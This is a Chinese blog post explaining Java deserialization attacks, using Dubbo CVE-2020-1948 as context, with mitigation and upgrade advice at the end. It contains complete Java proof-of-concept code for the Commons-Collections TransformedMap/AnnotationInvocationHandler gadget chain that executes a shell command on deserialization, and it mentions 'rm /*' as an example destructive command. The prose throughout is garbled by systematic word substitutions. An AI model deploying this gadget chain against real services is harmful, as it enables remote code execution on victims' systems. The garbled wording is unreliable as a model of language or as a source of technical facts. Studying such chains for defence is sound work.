前言
这周收到内部单干共事推送的一篇文章,【破绽通告】Apache Dubbo Provider 默认反序列化近程代码执行破绽(CVE-2020-1948)通告。
依照文章披露的破绽影响范畴,能够说是以后所有的 Dubbo 的版本都有这个问题。
独一无二,这周在 Github 本人的仓库上推送几行改变,不一会就收到 Github 平安提醒,正告以后我的项目存在安全漏洞 CVE-2018-10237。
能够看到这两个破绽都是利用反序列化进行执行恶意代码,可能很多同学跟我当初一样,看到这个一脸懵逼。好端端的反序列化,怎么就能被歹意利用,用来执行的恶意代码?
这篇文章咱们就来聊聊反序列化破绽,理解一下黑客是如何利用这个破绽进行攻打。
先赞后看,养成习惯!微信搜寻『程序通事』,关注就完事了!
反序列化破绽
在理解反序列化破绽之前,首先咱们学习一下两个基础知识。
Java 运行外部命令
Java 中有一个类 Runtime
,咱们能够应用这个类执行执行一些外部命令。
上面例子中咱们应用 Runtime
运行关上零碎的计算器软件。
// 仅实用 macos
Runtime.getRuntime().exec("open -a Calculator");
有了这个类,恶意代码就能够执行外部命令,比方执行一把 rm /*
。
序列化 / 反序列化
如果常常应用 Dubbo,Java 序列化与反序列化应该不会生疏。
一个类通过实现 Serializable
接口,咱们就能够将其序列化成二进制数据,进而存储在文件中,或者应用网络传输。
其余程序能够通过网络接管,或者读取文件的形式,读取序列化的数据,而后对其进行反序列化, 从而反向失去相应的类的实例。
上面的例子咱们将 App
的对象进行序列化,而后将数据保留到的文件中。后续再从文件中读取序列化数据,对其进行反序列化失去 App
类的对象实例。
public class App implements Serializable {
private String name;
private static final long serialVersionUID = 7683681352462061434L;
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();
System.out.println("readObject name is"+name);
Runtime.getRuntime().exec("open -a Calculator");
}
public static void main(String[] args) throws IOException, ClassNotFoundException {App app = new App();
app.name = "程序通事";
FileOutputStream fos = new FileOutputStream("test.payload");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()办法将 Unsafe 对象写入 object 文件
os.writeObject(app);
os.close();
// 从文件中反序列化 obj 对象
FileInputStream fis = new FileInputStream("test.payload");
ObjectInputStream ois = new ObjectInputStream(fis);
// 复原对象
App objectFromDisk = (App)ois.readObject();
System.out.println("main name is"+objectFromDisk.name);
ois.close();}
执行后果:
readObject name is 程序通事
main name is 程序通事
并且胜利关上了计算器程序。
当咱们调用 ObjectInputStream#readObject
读取反序列化的数据,如果对象内实现了 readObject
办法,这个办法将会被调用。
源码如下:
反序列化破绽执行条件
下面的例子中,咱们在 readObject
办法内被动应用 Runtime
执行外部命令。然而失常的状况下,咱们必定不会在 readObject
写上述代码,除非是内鬼~□~||
如果能够找到一个对象,他的 readObject
办法能够执行任意代码,那么在反序列过程也会执行对应的代码。咱们只有将满足上述条件的对象序列化之后发送给先相应 Java 程序,Java 程序读取之后,进行反序列化,就会执行指定的代码。
为了使反序列化破绽胜利执行须要满足以下条件:
- Java 反序列化利用中须要 存在序列化应用的类,不然反序列化时将会抛出
ClassNotFoundException
异样。 - Java 反序列化对象的
readObject
办法能够执行任何代码,没有任何验证或者限度。
援用一段网上的反序列化攻打流程, 起源:https://xz.aliyun.com/t/7031
- 客户端结构 payload(有效载荷),并进行一层层的封装,实现最初的 exp(exploit- 利用代码)
- exp 发送到服务端,进入一个服务端自主复写(也可能是也有组件复写)的 readobject 函数,它会反序列化复原咱们结构的 exp 去造成一个歹意的数据格式 exp_1(剥去第一层)
- 这个歹意数据 exp_1 在接下来的解决流程(可能是在自主复写的 readobject 中、也可能是在里面的逻辑中),会执行一个 exp_1 这个歹意数据类的一个办法,在办法中会依据 exp_1 的内容进行函解决,从而一层层地剥去(或者说变形、解析)咱们 exp_1 变成 exp_2、exp_3……
- 最初在一个可执行任意命令的函数中执行最初的 payload,实现近程代码执行。
Common-Collections
上面咱们以 Common-Collections
的存在反序列化破绽为例,来复现反序列化攻打流程。
首先咱们在利用内引入 Common-Collections
依赖,这里须要留神,咱们须要引入 3.2.2 版本之前,之后的版本这个破绽曾经被修复。
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
PS: 上面的代码只有在 JDK7 环境下执行能力复现这个问题。
首先咱们须要明确,咱们做一系列目标就是为了让应用程序胜利执行 Runtime.getRuntime().exec("open -a Calculator")
。
当然咱们没方法让程序间接运行上述语句,咱们须要借助其余类,间接执行。
Common-Collections
存在一个 Transformer
,能够将一个对象类型转为另一个对象类型,相当于 Java Stream 中的 map
函数。
Transformer
有几个实现类:
ConstantTransformer
InvokerTransformer
ChainedTransformer
其中 ConstantTransformer
用于将对象转为一个常量值,例如:
Transformer transformer = new ConstantTransformer("程序通事");
Object transform = transformer.transform("楼下小黑哥");
// 输入对象为 程序通事
System.out.println(transform);
InvokerTransformer
将会应用反射机制执行指定办法,例如:
Transformer transformer = new InvokerTransformer(
"append",
new Class[]{String.class},
new Object[]{"楼下小黑哥"}
);
StringBuilder input=new StringBuilder("程序通事 -");
// 反射执行了 input.append("楼下小黑哥");
Object transform = transformer.transform(input);
// 程序通事 - 楼下小黑哥
System.out.println(transform);
ChainedTransformer
须要传入一个 Transformer[]
数组对象,应用责任链模式执行的外部 Transformer
,例如:
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Transformer chainTransformer = new ChainedTransformer(transformers);
chainTransformer.transform("任意对象值");
通过 ChainedTransformer
链式执行 ConstantTransformer
,InvokerTransformer
逻辑,最初咱们胜利的运行的 Runtime
语句。
不过上述的代码存在一些问题,Runtime
没有继承 Serializable
接口,咱们无奈将其进行序列化。
如果对其进行序列化程序将会抛出异样:
咱们须要革新以上代码,应用 Runtime.class
通过一系列的反射执行:
String[] execArgs = new String[]{"open -a Calculator"};
final Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
刚接触这块的同学的应该曾经看晕了吧,没关系,我将下面的代码翻译一下失常的反射代码一下:
((Runtime) Runtime.class.
getMethod("getRuntime", null).
invoke(null, null)).
exec("open -a Calculator");
TransformedMap
接下来咱们须要找到相干类,能够主动调用 Transformer
外部办法。
Common-Collections
内有两个类将会调用 Transformer
:
TransformedMap
LazyMap
上面将会次要介绍 TransformedMap
触发形式,LazyMap
触发形式比拟相似,感兴趣的同学能够钻研这个开源库 @ysoserial CommonsCollections1
。
Github 地址:https://github.com/frohoff/ys…
TransformedMap
能够用来对 Map 进行某种变换,底层原理实际上是应用传入的 Transformer
进行转换。
Transformer transformer = new ConstantTransformer("程序通事");
Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只对 value 进行转换
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 办法将会触发调用 Transformer 外部办法
decorate.put("b", "B");
for (Object entry : decorate.entrySet()) {Map.Entry temp = (Map.Entry) entry;
if (temp.getKey().equals("a")) {
// Map.Entry setValue 也会触发 Transformer 外部办法
temp.setValue("AAA");
}
}
System.out.println(decorate);
输入后果为:
{b= 程序通事, a= 程序通事}
AnnotationInvocationHandler
上文中咱们晓得了,只有调用 TransformedMap
的 put
办法,或者调用 Map.Entry
的 setValue
办法就能够触发咱们设置的 ChainedTransformer
,从而触发 Runtime
执行外部命令。
当初咱们就须要找到一个可序列化的类,这个类 正好 实现了 readObject
,且 正好 能够调用 Map put
的办法或者调用 Map.Entry
的 setValue
。
Java 中有一个类 sun.reflect.annotation.AnnotationInvocationHandler
,正好满足上述的条件。这个类构造函数能够设置一个 Map
变量,这下刚好能够把下面的 TransformedMap
设置进去。
不过不要快乐的太早,这个类没有 public 修饰符,默认只有同一个包才能够应用。
不过这点难度,跟下面一比,还真是轻松,咱们能够通过反射获取从而获取这个类的实例。
示例代码如下:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 轻易应用一个注解
Object instance = ctor.newInstance(Target.class, exMap);
残缺的序列化破绽示例代码如下:
String[] execArgs = new String[]{"open -a Calculator"};
final Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
//
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, String> tempMap = new HashMap<>();
// tempMap 不能为空
tempMap.put("value", "you");
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 轻易应用一个注解
Object instance = ctor.newInstance(Target.class, exMap);
File f = new File("test.payload");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(instance);
oos.flush();
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 触发代码执行
Object newObj = ois.readObject();
ois.close();
下面代码中须要留神,tempMap
须要肯定不能为空,且 key
肯定要是 value。那可能有的同学为什么肯定要这样设置?
tempMap
不能为空的起因是因为 readObject
办法内须要遍历外部 Map.Entry
.
至于第二个问题,别问,问就是玄学 ~ 好吧,我也没钻研分明 –,有理解的小伙伴的 留言一下。
最初总结一下这个反序列化破绽代码执行链路如下:
Common-Collections 破绽修复形式
在 JDK 8 中,AnnotationInvocationHandler
移除了 memberValue.setValue
的调用,从而使咱们下面结构的 AnnotationInvocationHandler
+TransformedMap
生效。
另外 Common-Collections
3.2.2 版本,对这些不平安的 Java 类序列化反对减少了开关,默认为敞开状态。
比方在 InvokerTransformer
类中重写 readObject
,增相干判断。如果没有开启不平安的类的序列化则会抛出 UnsupportedOperationException 异样
Dubbo 反序列化破绽
Dubbo 反序列化破绽原理与下面的相似,然而执行的代码攻打链与下面齐全不一样,这里就不再复现的具体的实现的形式,感兴趣的能够看上面两篇文章:
https://blog.csdn.net/caiqiiq…
https://www.mail-archive.com/…
Dubbo 在 2020-06-22 日公布 2.7.7 版本,降级内容名其中包含了这个反序列化破绽的修复。不过从其他人公布的文章来看,2.7.7 版本的修复形式,只是初步改善了问题,不过并没有基本上解决的这个问题。
感兴趣的同学能够看下这篇文章:
https://www.freebuf.com/mob/v…
防护措施
最初作为一名一般的开发者来说,咱们本人来修复这种破绽,切实不太事实。
术业有专攻,这种业余的事,咱们就交给个高的人来顶。
咱们须要做的事,就是理解的这些破绽的一些基本原理,建立的肯定意识。
其次咱们须要理解一些根本的防护措施,做到一些根本的进攻。
如果碰到这类问题,咱们及时须要关注官网的新的修复版本,尽早降级,比方 Common-Collections
版本升级。
有些依赖 jar 包,降级还是不便,然而有些货色降级就比拟麻烦了。就比方这次 Dubbo 来说,官网目前只放出的 Dubbo 2.7 版本的修复版本,如果咱们须要降级,须要将版本间接降级到 Dubbo 2.7.7。
如果你目前曾经在应用 Dubbo 2.7 版本,那么降级还是比较简单。然而如果还在应用 Dubbo 2.6 以下版本的,那么就麻烦了,没方法间接降级。
Dubbo 2.6 到 Dubbo 2.7 版本,其中降级太多了货色,就比方包名变更,影响真的比拟大。
就拿咱们零碎来讲,咱们目前这套零碎,生产还在应用 JDK7。如果须要降级,咱们首先须要降级 JDK。
其次,咱们目前大部分利用还在应用 Dubbo 2.5.6 版本,这是真的,版本就是这么低。
这部分利用间接降级到 Dubbo 2.7 , 改变其实十分大。另外有些根底服务,自从第一次部署之后,就再也没有重新部署过。对于这类利用还须要认真评估。
最初,咱们有些利用,本人实现了 Dubbo SPI,因为 Dubbo 2.7 版本的包门路改变,这些 Dubbo SPI 相干包门路也须要做出一些改变。
所以间接降级到 Dubbo 2.7 版本的,对于一些老零碎来讲,还真是一件比拟麻烦的事。
如果真的须要降级,不倡议一次性全副降级,倡议采纳逐渐降级替换的形式,缓缓将整个零碎的内 Dubbo 版本的降级。
所以这种状况下,短时间内进攻措施,可参考玄武实验室给出的计划:
如果以后 Dubbo 部署云上,那其实比较简单,能够应用云厂商的提供的相干流量监控产品,提前一步阻止破绽的利用。
最初(来个一键四连!!!)
自己不是从事平安开发,上文中相干总结都是查问网上材料,而后加以本人的了解。如果有任何谬误,麻烦各位大佬轻喷~
如果能够的话,留言指出,谢谢了~
好了,说完了闲事,来说说这周的趣事~
这周搬到了小黑屋,哼次哼次进入开发~
刚进到小黑屋的时候,我发现外面的桌子,能够独自拆开。于是我就独自拆除一个桌子,而后霸占了一个背靠窗,侧面直对大门的 人造划水摸鱼 的好地位。
之后我又叫来另外一个共事,坐在我的边上。当咱们的把电脑,显示器啥的都搬过去放到桌子上之后。里面进来的共事就说这个会议室怎么就变成了跟房产线下门店一样了~
还真别说,在我的地位后面摆上两把椅子,就跟下面的图一样了~
好了,下周有点不晓得些什么,大家有啥想理解,感兴趣的,能够留言一下~
如果没有写作主题的话,咱就干回老本行,来聊聊这段时间,我在开发的聚合领取模式,尽请期待哈~
## 帮忙材料
- http://blog.nsfocus.net/deser…
- http://www.beesfun.com/2017/0…
- https://xz.aliyun.com/t/2041
- https://xz.aliyun.com/t/2028
- https://www.freebuf.com/vuls/…
- http://rui0.cn/archives/1338
- http://apachecommonstipsandtr…
- https://security.tencent.com/…
- JAVA 反序列化破绽残缺过程剖析与调试
- https://security.tencent.com/…
- https://paper.seebug.org/1264…
欢送关注我的公众号:程序通事,取得日常干货推送。如果您对我的专题内容感兴趣,也能够关注我的博客:studyidea.cn